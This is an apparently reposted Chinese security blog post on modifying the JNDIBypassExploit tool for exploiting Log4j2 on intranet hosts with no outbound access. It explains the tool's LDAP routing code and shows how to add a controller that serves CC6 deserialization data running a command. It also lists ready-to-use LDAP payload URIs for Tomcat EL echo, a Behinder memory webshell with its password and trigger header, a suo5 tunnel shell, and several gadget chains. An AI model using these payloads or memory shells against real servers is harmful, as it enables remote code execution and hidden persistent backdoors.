[工具推荐]JNDI利用分析魔改

如果觉得该文章有帮助的,麻烦师傅们可以搜索下微信公众号:良月安全。点个关注,感谢师傅们的支持。

免责声明

本公众号所发布的所有内容,包括但不限于信息、工具、项目以及文章,均旨在提供学习与研究之用。所有工具安全性自测。如因此产生的一切不良后果与文章作者和本公众号无关。如有涉及公司与个人敏感信息,侵权烦请告知,我们会立即删除并致歉。

前言

实战中遇到log4j2漏洞,并且不出网,在内网另一台获得权限的主机上上传JNDIBypassExploit注入工具进行利用,在注入内存马的时候感觉不太方便,于是对该工具的代码进行学习,并进行改造。

分析

入口在Starter.java,Config.applyCmdArgs接受命令行的传参,LdapServer.start()开启ldap监听,HTTPServer.start()开启http监听。

重点看LdapServer.start(),开启ldap监听。

在构造函数LdapServer()中,使用Reflections库扫描@LdapMapping注解的控制器类, 并进行实例化,然后提取uri,将uri与控制器对象关联存储在routes中。

重写InMemoryOperationInterceptor的processSearchResult,用于拦截ldap查询请求,获取到ldap查询请求后,判断查询请求是否以前面存储在routes中的uri开头,如果不是则打印错误信息,然后return,如果是,则获取routes中uri对应的控制器对象,并调用其process和sendResult方法。

process方法用来获取传入的参数和打印信息。

sendResult方法用来构造响应数据并将响应发送给请求方。

新建

想要实现自定义的功能,只要新建一个@LdapMapping注解的Controller,并设置一个uri,重写process方法和sendResult方法即可,例如:

新建一个类,并实现LdapController接口,并重写sendResult和process接口。

添加@LdapMapping注解,并设置uri,这里为example。

在process方法中设置参数、输出信息,在sendResult方法中构造响应数据,这里是cc6的序列化数据,执行calc命令。

启动ldap服务端,发起ldap查询ldap://0.0.0.0:1389/example。

改造

加入suo5内存马,加入更多的反序列化利用链,以及反序列化gadget探测,目前payload比较少,考虑后面慢慢完善。

## tomcat el表达式
ldap://127.0.0.1:1389/tmel/echo     #添加请求头 Etags: d2hvYW1p
ldap://127.0.0.1:1389/tmel/mem      #冰蝎连接,密码 p@ss01,添加请求头 Dtags:www
ldap://127.0.0.1:1389/tmel/suo5     #请求头User-Agent中添加Tnrpvdmva
## 反序列化
ldap://127.0.0.1:1389/deser/check/all/{dnslog}
ldap://127.0.0.1:1389/deser/urldns/{dnslog}
ldap://127.0.0.1:1389/deser/cc2/{echo|mem|suo5}
ldap://127.0.0.1:1389/deser/cc6/{echo|mem|suo5}
ldap://127.0.0.1:1389/deser/cb/{echo|mem|suo5}
ldap://127.0.0.1:1389/deser/hib/{echo|mem|suo5}
ldap://127.0.0.1:1389/deser/jackson/{echo|mem|suo5}
ldap://127.0.0.1:1389/deser/rome/{echo|mem|suo5}

tomcat el表达式:

反序列化探测gadget:

反序列化利用链:

最后

本文内容仅为本人学习jndi利用工具所产出,工具可加入星球获取。

参考

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值